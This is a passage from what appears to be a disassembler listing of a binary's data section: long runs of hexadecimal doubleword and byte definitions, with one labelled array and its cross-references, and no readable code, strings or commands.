0DFEF3F00h dd 358A4DF0h, 129EEA2h, 0A34F4AD1h, 0F434254Bh, 8AEAD8EDh dd 0B9FE5900h, 5310D627h, 187500CAh, 4CB3A34Eh, 450031B0h dd 0C036620h, 0EAC5E030h, 3E0E0A85h, 794ACBBh, 0B37CD873h dd 53E80C71h, 31F8456Bh, 49771800h, 8826476Ch, 647FBBh dd 0DEA5B212h, 5EB09F4Ah, 0C5BD0700h, 7CDB207Eh, 68800A6h dd 1C5C543Ch, 773F160Ch, 7C48E2h, 28859EB8h, 7C98C8h, 0CF14819Bh dd 6C08C2D9h, 3A8DD600h, 47683C43h, 0EEB60096h, 853F6EF3h dd 7000982h, 8977FB53h, 9D8CD8Ch, 308F5BE6h, 0A0642C00h dd 0D500D122h, 16694CEAh, 0A6C5F6h, 1F272508h, 0B1183B3Fh dd 367AF900h, 0B6C4501Bh, 55A900EDh, 0E34E14E8h, 15001148h dd 6E5F4172h, 0FBC043h, 9367C80Bh, 0B26AA2F8h, 7FC80D62h dd 0EED881EAh, 0D050F777h, 0FEE57BF0h, 72190063h, 9E0C6ECBh dd 4D007E51h, 969894A3h, 0FC4ADE7h, 95E571BCh, 0CB39260h dd 0EB0B4614h, 823A66h, 40A05B4Ah, 0DE2D01BBh, 0F75FB593h dd 0EC99E82Fh, 7DD20600h, 0A3E5173h, 17880134h, 0EE68CCDCh dd 465EC80Bh, 4C8D2707h, 0D89CC685h, 7BB1002Bh, 6ACF3B22h dd 4F172376h, 360052A7h, 815DC8FCh, 0B2700D5h, 0DCF7229Fh dd 6E261DF2h, 0A803602Fh, 90F5B9BBh, 0ED4184h, 7C81E350h dd 13AAFC22h, 8F4D903Ch, 2B718CAh, 7FF9AE47h, 2E6A0981h dd 0C3B2ECB6h, 8E73600Eh, 0E21D017Dh, 0B02B4AC8h, 6800D669h dd 27A88341h, 93FBEF8h, 0AE5E69CAh, 8C145380h, 0D8006D92h dd 8E877E3Bh, 7402DC61h, 27DF07C8h, 0AEED4CB1h, 0C5995F60h dd 69009EE3h, 5631ABF5h, 7D24DAC3h, 11D300C1h, 0ADF05B2h dd 0DC000701h, 90755523h, 1BDB951h, 0C0D1AFAEh, 0E421886Eh dd 191CADFDh, 0F246EEE5h, 0B0CB5Fh, 0DFFA50B4h, 0E892823Eh dd 1B80D709h, 0A0420089h, 1756078h, 366FAF97h, 0FF18FE85h dd 607927A9h, 0A0004AABh, 61AF8DEDh, 120AC341h, 0BC3958FBh dd 922E00C4h, 0BEB7DAEEh, 0E3180086h, 0C819E2FEh, 2900961Fh dd 22FA16F3h, 3984D62h, 3CC397B2h, 6FE9F2D2h, 55CE408Ah dd 0EE1D0161h, 8D40603Bh, 0F7A79D6Bh, 441058FBh, 9BD51700h dd 6F93875Ch, 0C0AF3B00h, 7F2AC603h, 97A317D6h, 194900ECh dd 83808B9Fh, 9DA1260Bh, 0C79280C1h, 0EAAE2Fh, 44B981Bh dd 0F817CD53h, 0FD489700h, 18453E6Bh, 0F9630A37h, 0BC2281h dd 7BB98C1Bh, 0B26902h, 7FDC300h, 33F3D10Eh, 0DD19005Ch dd 7311B2B1h, 5B1DF99Fh, 3083EC72h, 0A04533DCh, 6027C1CFh dd 5B3941FFh, 0B50001FAh, 2D8D0268h, 339A6Ah, 49FF0D2Fh dd 1677DE2Ch, 4D4FF0C1h, 64D8A460h, 389C39D8h, 826DAA80h dd 0F10A4094h, 0E316C302h, 0E0112B9Dh, 0CBA8D9h, 0DFF83835h dd 3436B558h, 342744Ch, 0AD21FAACh, 85F004FBh, 6846A6F2h dd 0AC7A12AAh, 0F82417B7h, 4B4F00ADh, 11A428E4h, 93D4008Ch dd 5CC79C03h, 5B003C8Fh, 150F7F02h, 1E05D90Ah, 83312454h dd 0A9EF8E1Ah, 4B550E88h, 0F32358h, 0E14C5B66h, 3ADFE9Dh dd 0C84DD5B7h, 0C9A0FD60h, 2F00349Bh, 875A093Eh, 75D91A5Bh dd 6879148Bh, 84168C7Ch, 69E0009Dh, 123BD1FBh, 0B2292C00h dd 82FDCFEh, 0BC8B2E5h, 434FD764h, 0AD6DD010h, 9F076E00h dd 3EF84A84h, 4C74BA12h, 0EB0F46CFh, 0EC7F626h, 66E371A2h dd 2F2183D3h, 0E94361B2h, 0AAC3196Ch, 58686006h, 0A934003Bh dd 29DBFA09h, 0EE00F81Dh, 6408F0D7h, 0E0E41432h, 0EC9F7E6Ah dd 0F2360058h, 13118DF6h, 0BE00E851h, 21CE5DB9h, 0C07552h dd 6033044Dh, 0B7733890h, 0CD186900h, 6B2EA492h, 0B64C3F67h dd 366AED00h, 0E4F9B39Dh, 0FBAB9100h, 0C02622F8h, 807C00CAh dd 4CC3832h, 0F926956Ah, 5C01845Eh, 2DAF0945h, 0C438C06Fh dd 0BA3F964Eh, 8ECC8036h, 0A666CDF3h, 1E2A008Ch, 776F12E9h dd 1D00FE31h, 0E45B58B2h, 240E7DAh, 0C07D9023h, 2C61EC61h dd 7013FC0Ah, 0C63D00BAh, 0E62D005Eh, 0C452D661h, 714C0015h dd 0FFED64BAh, 0C52E489Dh, 3200A67Dh, 0A62ADA1Ch, 0A067E93h dd 0F7D960F5h, 0CCCF80CCh, 0EB7F25E3h, 0B903581Ch, 0FFEE2BC0h dd 68ABE16h, 6239446Fh, 780340F0h, 0B549CE7Eh, 6A5FB2B9h dd 90304BB0h, 24A47B2Ch, 80F731h, 0EA267305h, 7D000DF9h dd 94B3938Bh, 98B85Fh, 0DCBFDF25h, 145BF001h, 0FEB13507h dd 0CB917707h, 0A2209262h, 36F6002Ah, 0C6CAABE7h, 99008F96h dd 5BFF603Dh, 736C95h, 863D60Bh, 9E82274h, 613D8370h, 0A2CC8018h dd 75448823h, 0D30B00F5h, 0EEE314C1h, 0AD02D49Bh, 8CE49AE1h dd 0C05045h, 0E7F93BCCh, 4C25C7D0h, 62418605h, 0E8C02A36h dd 721099B6h, 59010EECh, 95C16A5Bh, 705E426Eh, 9709FFF0h dd 81D91B4Ah, 202F8850h, 3CB85980h, 0A23B303Dh, 0D058A16h dd 553FC800h, 0FA579Ah, 0C15B56B8h, 0D63A2F8Bh, 55F9103h dd 0F15CD34Ch, 9147999Fh, 0C0AEEA12h, 10471D4h, 0EF7EAB87h dd 30479370h, 6A005912h, 1035CF16h, 1CC78CE0h, 0D99EA6h dd 0C0F2A1C4h, 0D3001BE3h, 0AD0B6E08h, 7ADA52BEh, 0CE003D7h dd 0FCFD462h, 47DDB01Dh, 8C88481h, 0F4701B09h, 0E8B2008Eh dd 0C9D2F8B8h, 7401D08Ch, 5F6F36ABh, 63703727h, 0FA52F4C2h dd 0B67500C8h, 3A60DC9Ah, 0C0008718h, 865DA9C6h, 0DEFEABh dd 9CA25BAEh, 0D7BC9846h, 0B00109E0h, 0A00C534Eh, 0BD8EE11h dd 90890049h, 109F9C2Ch, 8558970Dh, 185E1FFCh, 8EC25500h dd 8399EEh, 4FB2D45Ch, 8FB8F6DFh, 0AE0232E4h, 912FBD94h dd 0FC9CC8B7h, 0DFE400DCh, 0DEA7061Eh, 577FAE6h, 0B400BE71h dd 157D098Ch, 1E03F2Fh, 0ACCED6FBh, 70CBB690h, 33037178h dd 0BB845A4h, 3D6FE09Ah, 3875071Ch, 0D00F1584h, 0FAFD3CE9h dd 0C1003B7Fh, 0D869D107h, 1DCD7Bh, 77F3DEDAh, 0A43937ABh dd 5B03257Eh, 0EE995A0Ah, 0C03C98BDh, 387289h, 0A77C09B4h dd 0C601C787h, 1714E20Fh, 2745612Dh, 0B8C75E08h, 0F78042h dd 57E7DB33h, 0E2EA5FDCh, 8E29AD07h, 0CE80246Fh, 0B892D2h dd 0E8D63520h, 6A070C5Ch, 1E42DB1Ch, 0C4EA9B40h, 727F05h dd 54C12DCEh, 4FE7E0FFh, 86FEFA00h, 3022F7CAh, 0E40C0FF5h dd 40D38E3Dh, 0F2E3A0DBh, 0C3032009h, 4C9F05DEh, 33E0A754h dd 84689Ch, 5CAA1E5Bh, 0CF1755BAh, 83453800h, 16B77CD6h dd 85F80948h, 9443DB36h, 6027B2A9h, 0AB2679D4h, 5B004141h dd 0B7BD9BDCh, 8B8F00D4h, 0ECA64C0Eh, 8700E449h, 0E165999Eh dd 0B97402h, 81489C84h, 0D7868A47h, 93155000h, 0C19AF130h dd 0F56C0187h, 0AD23302h, 0E0802078h, 0ED2B550Fh, 24BCC017h dd 523901Bh, 1D1AFA4Eh, 9B4882C7h, 660B2452h, 2037E830h dd 0B0FF9D5Ch, 28E50088h, 0CAC65D29h, 5C3D58E4h, 80573CF6h dd 37E6EAF5h, 0BF12C1h, 0FD03290Ch, 3140B391h, 73506C00h dd 6B84FB4Dh, 1E7C10h, 0B9A3E62Eh, 29AA26DCh, 34F07CB0h dd 0C118A200h, 537A6FD4h, 11232777h, 0DF500D00h, 0D4E534B6h dd 4118D02Ah, 29221620h, 3D87007h, 0F278DAF1h, 1780E589h dd 5F005ED1h, 37D9E7AAh, 213EDDh, 0C3B90EC2h, 3659C823h dd 0BAE59700h, 50053526h, 0F03D001Ch, 644AD371h, 0F705256Dh dd 518413FEh, 0BFA47890h, 0B61900B5h, 6CF1ECA8h, 81057E16h dd 5759D03Eh, 0CD8FA200h, 0A78314h, 0DE05BA43h, 3A7645A9h dd 0DD23F20Bh, 1A7080BFh, 2CE90415h, 27842CDh, 6F7A4062h dd 8000FC51h, 79EAD01Dh, 767802F7h, 44320B87h, 7026B0E4h dd 0E30198CCh, 14F5369Ch, 8C07B007h, 630949C6h, 8E276A77h dd 2D3160D8h, 818EA0A2h, 9378E060h, 0AA0C80F4h, 4106510Fh dd 0B9F1027Ah, 3D09F7DAh, 0C54E0078h, 620CC472h, 3480C085h dd 5B8E008Ah, 0DEA4EE0Eh, 1A0C93E7h, 202A2D1Ch, 764300B4h dd 9B265A2h, 94396DAEh, 53848034h, 2275666Ah, 0DCCB0717h dd 50B7CD70h, 547FC9F6h, 0DA6DEC30h, 3A9DBB69h, 91894306h dd 1FF7BA8h, 0E09E6797h, 5140D8h, 1C016AE3h, 0E7F60649h dd 76239600h, 0BA4E55B3h, 0C8B40009h, 0B21A205Ch, 0F70224D8h dd 159C6F59h, 60EC802Bh, 10D51F2h, 25F8DC72h, 403A3829h dd 6BC634DAh, 9700E773h, 0C37F5101h, 0A1870Fh, 1181949Bh dd 792FBE21h, 0CC2B5C00h, 151930F6h, 0EC46502Ah, 0EEDC23DEh dd 0C83FBE00h, 7D1C6F4h, 0CCC5A732h, 29534098h, 7B0BCECDh dd 838EC7B4h, 8C1C2420h, 6FB7C490h, 181EB00Dh, 209F8B53h dd 63002523h, 0FE58FCC1h, 25E94998h, 0C8ABAD1h, 232CA1h dd 8E9E4D87h, 2E0005E5h, 97447880h, 2A660CE9h, 90B2DCh dd 2D571C70h, 17471F40h, 5B918B0Eh, 0C662804Dh, 92D9A2h dd 78DF5430h, 3F0BBAABh, 0EB1F2004h, 8C809748h, 0ADC1A5h dd 5468A3B3h, 0E7FFCAF1h, 0E2247D00h, 3834AF9Bh, 6C88010Fh dd 5A758451h, 0E5E0ECD8h, 11DDE02h, 60EA52A8h, 3055C8h dd 4C263CFh, 7107D99Fh, 974CE90Eh, 6D2600B7h, 0E92F38Dh dd 7D180DD3h, 0C18C6A60h, 20FA89EFh, 0F09E0400h, 8497E31Dh dd 6EE700DCh, 6DE8DBF1h, 0E9501EF6h, 8B0C2C0Ch, 89B1AD5h dd 0E820E24h, 842C52CAh, 47A8660h, 340FD700h, 0E79C308Eh dd 0A5BB3149h, 9E744A80h, 40629E10h, 7CE02A44h, 2030ED30h dd 0C0BC1712h, 0E45C6AB1h, 440C0D77h, 580768EDh, 51C70E3Ch dd 718345A0h, 0AB00374h, 98002BA4h, 0F4BB24B2h, 0FB043CEh dd 8FF6A593h, 0AA03C3FCh, 28007D5Ah, 2FE3FD99h, 7A02522h dd 9F154947h, 236F8091h, 51C0CFE1h, 0B4FF4F4Eh, 871E093Fh dd 15003552h, 12B2F84Ch, 50366500h, 866E47EAh, 8C2000FFh dd 0BDDDE174h, 5800FD9Fh, 42CCDFB3h, 64301Ch, 0C3130480h dd 875E270Dh, 0E77E4100h, 363592A1h, 7BBF174Fh, 27480F42h dd 1E150220h, 3A1D695Bh, 7002846h, 6D84A829h, 6A7E00FCh dd 0C6138D1Bh, 0F100964Bh, 2ECEE3C4h, 0CAAF68F9h, 0FC0499C1h dd 11E75730h, 0B73E79h, 562ED65Dh, 44A877F2h, 0AE0F7C74h dd 81DE1026h, 407243D4h, 0F87573F8h, 0DA333EEAh, 42BF9A07h dd 590FF69Eh, 7681EB06h, 11505C26h, 3784A4Eh, 454C3C01h dd 92805A3h, 4092EEh, 8A4EC8B0h, 0A200549Dh, 1A946EC3h dd 61BA3CDh, 0AFB30EE4h, 3178B9C9h, 2CBD60A0h, 76ECF883h dd 0D019C0CAh, 1A1ED6C8h, 0A277E21Fh, 0C470A394h, 6D009427h dd 6E8F8485h, 0F88B4C00h, 43D7573Eh, 97E9DC98h, 2EF0175h dd 0D7014E2Fh, 82704DB9h, 52E4CD69h, 0FD4CB0A2h, 0A8D601E7h dd 0CA2AFF51h, 0A00E6F3h, 5276E085h, 0C7D9478h, 0DF3F4ED6h dd 7F1BF7A8h, 0E738A0B6h, 151998D6h, 0DC357E79h, 6E4C2A05h dd 0F7940FC8h, 308612E6h, 748D502h, 0A096AE3Ch, 0A28DD9D8h dd 0EA60B02Bh, 0A9CC6053h, 463FEB79h, 0A0052303h, 303D182Fh dd 0C213C08h, 0E1283FE2h, 0F405D11Fh, 549BC622h, 40C1741Eh dd 0C274DF85h, 0A018AC45h, 0C065670h, 12CBE67Ah, 0AC019A10h dd 7C422410h, 52CC2B5Ah, 0C484A801h, 0D6612C46h, 7AF17E9h dd 46AC6F1Ch, 0B2A021C7h, 72006160h, 84749E68h, 0E6A41DE7h dd 0F087614Eh, 0DC099BE9h, 10C1AEEAh, 0EF405BC8h, 3DD0D30h dd 0D4F233DCh, 82D8EB97h, 7B0028A3h, 9C9546BCh, 0E6B5F1h dd 0D92325DCh, 6C051493h, 0EE38BF00h, 0DDAEC248h, 0A20D00B8h dd 18BEB93Dh, 9C00F83Ch, 7B4AF49Dh, 2138B5h, 328AFC26h dd 2C8C24Ch, 13330B0Bh, 6898005h, 86E26Bh, 8F2F1053h, 0B578960Fh dd 0AA7409E4h, 2B004AE6h, 9238BBABh, 214FEh, 93482265h dd 0E6312D25h, 90CB4E2h, 30B262BFh, 3C1F67Bh, 61C47F71h dd 0A3B00CCEh, 89017767h, 0B7198CE2h, 0A087548Bh, 0C71EE909h dd 3C8210F3h, 630FC105h, 0E16FCDD9h, 0C8698D5Eh, 8B1EA8BEh dd 0C3EADDE5h, 0B302BB3Eh, 873B1900h, 78ADD199h, 150C47Ch dd 7F230140h, 0A36147BAh, 6BBD66F0h, 670018F0h, 53F52E41h dd 67EE3E00h, 73ECBB0Fh, 0DCD5300Dh, 0B6164AD0h, 5FE688h dd 0A17841BAh, 306DBEAAh, 580AB077h, 94CA0968h, 899F9080h dd 142D73D7h, 882E7B0Dh, 40069E85h, 0C45028C8h, 2FA4BB1h dd 81A0473Ah, 63F529CFh, 8B60C970h, 0A706001Ah, 7E266536h dd 1B008399h, 0C8B5716Ch, 79646745h, 98C20028h, 23790F3Ah dd 0F500E4D0h, 1F928F7Ch, 15EC8Ch, 0D444CDBEh, 79175010h dd 577AB90Fh, 0EF580085h, 0C249CCh, 4BEC39C5h, 7F1F3BCDh dd 5072FF7Eh, 16C6D000h, 7600AEFh, 0EB7B07E6h, 405E98AEh dd 7A1E9D6Fh, 8A9C2500h, 0C848643Dh, 261C0115h, 8D3EA790h dd 0E160E005h, 838F7801h, 4BC97279h, 3FB40970h, 5A00E5BCh dd 46E2DF84h, 0C3004570h, 0FE26113Eh, 7650A5h, 0A3572BDDh dd 70106119h, 0C9C6D80Eh, 34E92085h, 3785AB1h, 0EC83B351h dd 46F84E50h, 0C500C12Eh, 0E360C7A6h, 1ECC8BBCh, 80357B13h dd 9EA57C1Ch, 62035210h, 0E5A438Ah, 98F5981Eh, 571B3A91h dd 2DC8B283h, 8EC016B9h, 0B6009E07h, 900A701Ah, 0F8ABACAEh dd 39961E1Fh, 88C8CC3Eh, 4B458229h, 9311ACE1h, 62A31197h dd 11B4A611h dd 4712AB45h, 8963E810h, 7428476Ah, 41DB48A4h, 2448220h dd 0F314826Eh, 89AF22A6h, 0D2224D24h, 40215510h, 8844A38Bh dd 36AF4428h, 44E74A44h, 1084971Bh, 30193DF6h, 311051BAh dd 0A3FB2482h, 0BC83008Fh, 5EF569ADh, 0D044D40Eh, 791660A5h dd 14FD605h, 0CAB6C277h, 0C0459394h, 0E30F6D87h, 0E1CE1A38h dd 0AD0ABB0h, 0F1CCF03Ah, 6A06B600h, 77EC1DEBh, 0A21A00E2h dd 0C736F0B9h, 38002F86h, 16AE0FD2h, 95D8A6h, 787B087Ah dd 1FF385E7h, 8A17ED1Fh, 0A2A31A87h, 0C7BE7590h, 69F0F6h dd 855AA512h, 0EFD0D204h, 27D9730h, 48C86FDFh, 900EB470h dd 4963EA14h, 4B8818F7h, 7B004651h, 6631D797h, 0A809C4h dd 996E1A04h, 0B85CEE78h, 0AB6C8300h, 3DC4722Eh, 2DDB00BAh dd 0B99539D8h, 0D03B3EEh, 0FD34DEA0h, 0B4683C1h, 77C96818h dd 8D7A601h, 8F67FC7Eh, 6E19BC03h, 0BB8C15A2h, 0B870A0CFh dd 9C6A0E7Dh, 0B50002A7h, 0E150417Fh, 84BC4200h, 0F48D7AEh dd 63909Dh, 68F58B1h, 4C7A8CEh, 920093E4h, 77620812h, 209E1Ah dd 0A75BD3EDh, 2C72C1CEh, 0F79A9B01h, 1F88786Eh, 0C085A0F0h dd 29B5EB09h, 6201E069h, 37327DD3h, 83E40890h, 0AE60050h dd 0D12B1A9Ch, 0D0F7077Bh, 7758FA37h, 0EF0C0358h, 0E87124B2h dd 0BBCEBA4h, 7CD3530Ah, 0B5E34700h, 2F79B917h, 8E752E00h dd 8D6B7FC1h, 35F200E6h, 0CD51717Ah, 4500493Fh, 0FEAE194Dh dd 1E172A1Ch, 0FF68F329h, 0C8E53481h, 0D4B0EF4Ch, 86038CF7h dd 0BCD925D2h, 931D9045h, 6F66001Ah, 0B78B6C85h, 5B0042D5h dd 23C38EFFh, 63D9C6h, 15840E3Fh, 6BED56A5h, 0B77B5A00h dd 66526A47h, 10AB0316h, 28434EC6h, 68E31BF0h, 0D4B3E600h dd 9D2DD9CCh, 0C93F0027h, 82A56C76h, 0A300A63Dh, 0A93736C3h dd 0C775ACh, 0BE30F9Fh, 488544E1h, 7D2C711Fh, 2DBEE00h dd 3E708BC9h, 3FF1A37h, 0D1DD2688h, 0C5C83C2Bh, 7D00B2E2h dd 2C783069h, 18CB8FADh, 0F0C4A4CDh, 0AF0095C6h, 0AA9F758Eh dd 0CE8331DCh, 65EC4E61h, 0A600FC81h, 0B22A364Ah, 0ECB856E8h dd 0F1530002h, 0A3C7B98Fh, 3C002E5Dh, 5C8ABE9Ch, 849979h dd 18F990E8h, 0BCF34F15h, 9AABF0A0h, 80C3B53Ch, 4DFAE9C4h dd 1CCE50h, 728766B1h, 701FBE23h, 0AFD4900h, 1DDFCD5Ch dd 454800B2h, 8FFA2D9Ch, 44008082h, 47BFA439h, 0C071F0h dd 0D8189A19h, 4FDE5F1Fh, 2A3D8000h, 9284F2E3h, 0DF4E0017h dd 596CD16Ah, 0C498E46Dh, 99D5B0Ah, 5E0084CDh, 7180ED21h dd 8A60BD58h, 295263F2h, 0E74E00D4h, 57CF93F4h, 6FD73E9Ah dd 19F0680h, 77E95AE8h, 40EE3Dh, 0AA659E43h, 3E4BDF12h dd 1C944EC7h, 1502FC5Eh, 45FB0676h, 0D013B080h, 8900DD60h dd 0FC55D40Ah, 3226C4h, 1BC09728h, 0CFBA78C8h, 12E2511Fh dd 5C6F907h, 4CBB9870h, 55EC0056h, 0CA603DDh, 49C05372h dd 4F2B908Ah, 0C6CD004Dh, 2E54AAC3h, 0F0F737D9h, 4900144Ch dd 0F64A23C7h, 725744h, 0E60F994h, 2071BEBh, 0EA1CA700h dd 17CBA9D4h, 7E660E51h, 0FDC0FEAFh, 0BAE1C938h, 0FCFAA400h dd 1F50F70Eh, 0A30D0029h, 0CF8BB97Fh, 633EC7E2h, 1833070Bh dd 0B750D9D5h, 1F9A5FBh, 5F787F73h, 0E8381436h, 8200DCF5h dd 1828B759h, 3FA72E12h, 0D400A209h, 4F3243AEh, 920076FBh dd 99D03741h, 9FA4B0h, 6960C1ECh, 952F87F9h, 1C26B700h dd 81B2DE64h, 0C5CC1D61h, 396A03C2h, 88D02B27h, 89005D7Eh dd 3236DBE9h, 72DA0B25h, 0AA63006Ch, 50D22D18h, 0D3F08CFh dd 8ABB001Fh, 562E02D6h, 4D780031h, 5FAF41FBh, 0A748E7D5h dd 614A00D0h, 48D39F8h, 0F5400063h, 0AF908F69h db 0DFh byte_520045 db 2Eh, 28h, 0C4h ; DATA XREF: ___:00437A28o ; ___:00437A40o dd 1C03F446h, 334C5ADBh, 2548C00Eh, 9FE1EACh, 45D813Fh dd 2055018Ch, 0C400E9A8h, 0FE65D1A2h, 3E5B478h, 0B5FAFF37h dd 32D00B15h, 7F004F02h, 0D8E9FDE7h, 7E1274h, 0A4A77A27h dd 17E1760Ah, 2E579300h, 1DE4071h, 0AC361C47h, 96BA805Dh dd 0EEE419CBh, 0A74CD501h, 406AA6D7h, 761C35FCh, 0DF7DA5h dd 5288A4B6h, 0BA3C2399h, 63394900h, 0BECA715h, 0F866E84Bh dd 9E9704DAh, 80C64758h, 0FB9AD1A0h, 6443FF00h, 0CB3AFD82h dd 0DF2C0021h, 0F7BA614Dh, 6300C903h, 0DDCE3283h, 0CB093Fh dd 0E09882F0h, 38B816Bh, 87A1DB3Ch, 0E69637D4h, 0A87C6600h dd 0F021FB1h, 2DD843A6h, 0F6C8CA12h, 0F80EA09Fh, 20D10BFDh dd 2AEF6992h, 397FA13h, 7291847Bh, 19507E5Dh, 2C18E09Fh dd 0D7106C3Fh, 40480416h, 805BFAC3h, 809F1A0Ch, 6E552B00h dd 0D963DF44h, 7D190046h, 0CAB74190h, 0EA0C9B97h, 1042DE2Ch dd 3E800365h, 0CF403602h, 7245B3BFh, 0F91EAAB0h, 1DFC012Ch dd 0B5FFD00h, 13E40E1Dh, 0E245EF3h, 10988014h, 7200E53Dh dd 545214D2h, 6C7322h, 0EAA507BCh, 0A76A2813h, 34C99D00h dd 0D4BF85AAh, 4DF600F9h, 7E231F72h, 0E04A0D2h, 0BD4C2AE3h dd 0AFA37AC0h, 0DD1803E8h, 0AC90BE83h, 0E6EA201Ch, 0F9785180h dd 3F30D3A1h, 0C400FC9Fh, 0BE26A75Eh, 0DB008654h, 828C896Dh dd 0E23C3F39h, 814F00AAh, 9E854373h, 1700F0C4h, 0EDDC9C05h dd 794D215h, 0AE6D8162h, 1966E04Ch, 0B203BE9Eh, 5628143Fh dd 81DCCBD3h, 5C9AE9Bh, 0C9239C40h, 0D4010088h, 9C1C0240h dd 0DD069AF7h, 1D69B4DEh, 91A10010h, 3DE27D7Ch, 0A9740E38h dd 0D9758500h, 8E1BDBE1h, 4BB83017h, 78BFDC50h, 5AB88C72h dd 298B1D00h, 7A030CE5h, 0D16C0052h, 6EA0E4Fh, 0E9008EF6h dd 429E6496h, 875E8Bh, 39DFC07Ah, 994A4F41h, 3043A00h dd 78675C31h, 196F0020h, 0E1A4FB34h, 6851922Fh, 9CB940E8h dd 9800403Dh, 42EDD673h, 6C71Ah, 1E91FD1Fh, 79DE7C54h dd 23E3C600h, 0C36824A5h, 70250021h, 3B8C14CCh, 60E7CF72h dd 0F4001D39h, 1BE0D16h, 3DD6A95h, 8590E4B4h, 0A0981E7Eh dd 1A017F50h, 0A714B557h, 8C5070CAh, 85128h, 0F4500A6Dh dd 75AB4BA3h, 1A6E290Ah, 9F00A6E8h, 5E2474E0h, 9BB539D3h dd 1B80BA00h, 0FD458826h, 2E012B7Eh, 5AA4A07h, 0CC301E41h dd 8FDE071Bh, 6095B215h, 2D886056h, 9E397238h, 140C362h dd 161C20E3h, 94E50FDBh, 67A0128Bh, 3E3B2C96h, 0A839F200h dd 681708B6h, 0E0A00001h, 9CACBFC1h, 0D07428E2h, 0AD35DF00h dd 2DD58AA9h, 0F821615Fh, 7AE987h, 1EF619ABh, 40886A69h dd 0ADC37D67h, 0D090DE35h, 156C0A00h, 0CEA9A597h, 0FB07006Eh dd 0E556E0DBh, 3500E2A3h, 847A4574h, 24E6E849h, 1FCC8B5Fh dd 0C0F7405Ch, 0FB8C82C5h, 702FDF00h, 6D61102Ch, 364B00E3h dd 3A097C57h, 6F00C0E2h, 852EC5E1h, 4BC82339h, 8500FE0Ah dd 0D31C4AAFh, 6258009Dh, 0B1F178EEh, 13030F20h, 0DF42B8A8h dd 37CD083h, 49717F3h, 778E075Ah, 48DBA0FDh, 289A4042h dd 0D443C700h, 6BF7413Ah, 0AAE206h, 75FEEAD2h, 7EFF28C5h dd 0A03DA601h, 76565573h, 3B18B020h, 341DBC1Bh, 0FD5786FFh dd 0B800A824h, 0EFA94B6Ah, 4E8F99h, 0D9C97526h, 567A2D8Bh dd 726B2F00h, 0F79BA4C5h, 817F00EBh, 0CD0F6827h, 1900A6AFh dd 8707A02Dh, 0E7C2B30h, 62912912h, 0B6B14BE0h, 550AC69Fh dd 0A47AA35Ah, 0CE02BB00h, 0D26E0Ah, 431C99E5h, 803ABE33h dd 84498124h, 4C5D5A00h, 7640A16h, 0B328753Dh, 0FFCE5002h dd 7900E3C1h, 3F56C60Bh, 20A1D08h, 5CEF88F6h, 0D84081AFh dd 0E2108F86h, 2700D067h, 0DBAEE162h, 6500B9FCh, 762810A2h dd 0C3AA91h, 9B9C39CDh, 0B011B830h, 4FD81C00h, 0DFCBD1C8h dd 91BB0255h, 43280FEDh, 742BCAE0h, 0A87A3930h, 904C8EEBh dd 9F8700D8h, 0B689367Dh, 8EA2D86h, 0C0A98503h, 0D8590A3Ch dd 799F1428h, 0C2902473h, 0C90F8760h, 0B8DC2BF3h, 0CFA1404h dd 0F045AC80h, 2A5A027Bh, 0DA67687Ch, 11077963h, 0FD5E7901h dd 6C8CB009h, 6EE814h, 0C511D64Ch, 0E729194Eh, 0B928B5F2h dd 3900C4F8h, 0FFAF88BFh, 791AF662h, 9007F45Ch, 909100B8h dd 0EFA254A4h, 0B60F33E6h, 808E613Eh, 8701E466h, 370E00A9h dd 0F8599F35h, 242434F0h, 0C816485Dh, 91FB2C00h, 180D7C1h dd 0F85FC94Ah, 0D7517599h, 20FA16C1h, 0B1588998h, 3B9600F4h dd 4BEF36E2h, 4431487Dh, 0D18F0B00h, 0E9555B9Eh, 2F67703h dd 0B8F504F9h, 798031h, 0FE58CC7Ah, 593B833Ch, 55199C02h dd 40528AEBh, 6A51D8h, 23F545AFh, 99B70A8Fh, 0ECDFA0C2h dd 0F70540FCh, 1BBFC6Eh, 927716CFh, 30598E01h, 1B00C05Dh dd 0A4D35FB8h, 1CECFEC3h, 802965EEh, 4920844Ch, 360407CBh dd 0FA76A003h, 46BD1780h, 22D80187h, 576163F9h, 0A48ECD3h dd 0F5A2B200h, 0FD66E76h, 0B7A50038h, 2318CCBEh, 0C6FC4681h dd 0E0065F0h, 243997Fh, 7F9FE57h, 0B0161378h, 0F8C8A0E9h dd 3D008368h, 0D6400E3Bh, 0AD703h, 776207D9h, 9447FE35h dd 0F83E6000h, 6E5F446Bh, 0A45A0158h, 87532A57h, 0FCCAE9BBh dd 8C03CD47h, 11B1FBE0h, 5981F0CBh, 0CC89262Bh, 9425045Ah dd 0A70983B9h, 57621100h, 52EC4168h, 0D23A00C0h, 63F83DFDh dd 70487F7h, 0C90C57Bh, 41858482h, 970F34Ah, 1B0B00A1h dd 3D5D5988h, 0EB0B0730h, 1AFD62Fh, 3AF98D1Ah, 0FB5CC12Bh dd 0D390406Ch, 9D18B4E8h, 1101BB9h, 0E4E73937h, 88C7E680h dd 0DAA627DCh, 2C1A4300h, 0D5F8D625h, 8D910020h, 24192306h dd 0B5F6BCB7h, 0DE25EA00h, 12DE45Dh, 1D0FEA61h, 8C31C93Ah dd 67C05322h, 0E8008474h, 5191A8F1h, 0A006CEh, 196D90A3h dd 0F77D97AEh, 0FC155600h, 87A2ECA8h, 0C1CA0740h, 109DDF36h dd 0A151E8DCh, 1EAEB007h, 0DD907430h, 93DBF4h, 0D9A224Ah dd 2708D044h, 7FEC5650h, 7A0001F4h, 3E8660B1h, 96C7Ch dd 0EFCD2DDDh, 0AAC45A17h, 5EE0ACA6h, 11BAC00h, 0AF195259h dd 656B1E33h, 0F86C94ADh, 3200BA21h, 0B9D5D7DBh, 0BD3301E3h dd 0FB767FE0h, 0E459C0F4h, 0D9253C00h, 4950AEFEh, 0A3EE261h dd 79982A8Ch, 49481FB8h, 0C000E725h, 0D7B9DC03h, 0F133F00h dd 0D3E2ED41h, 2BE101ADh, 38C5B4A1h, 1184ECE4h, 9C4AD200h dd 0CCDDE273h, 945C008Eh, 28D7DEEh, 4B00DE6Eh, 8FE69D0Bh dd 9A04A8h, 421C9377h, 7BADD7BFh, 289948h, 0E8487FF0h dd 0E6FC7683h, 9C8200A8h, 65A13A10h, 1BFE612Fh, 0B6E36607h dd 5C5E1354h, 76937B00h, 713841D1h, 65B4007Ah, 0F490C211h dd 0D8F68759h, 0C8F6910Eh, 34558025h, 2E5E880Bh, 5D582Bh dd 68CB395Dh, 54022E82h, 2F0F50DFh, 2A10404Ah, 0B78F008Bh dd 0BC67D03Bh, 8301D4E1h, 0F2B6992h, 0A8EB3D72h, 74A7665Ah dd 313EA75h, 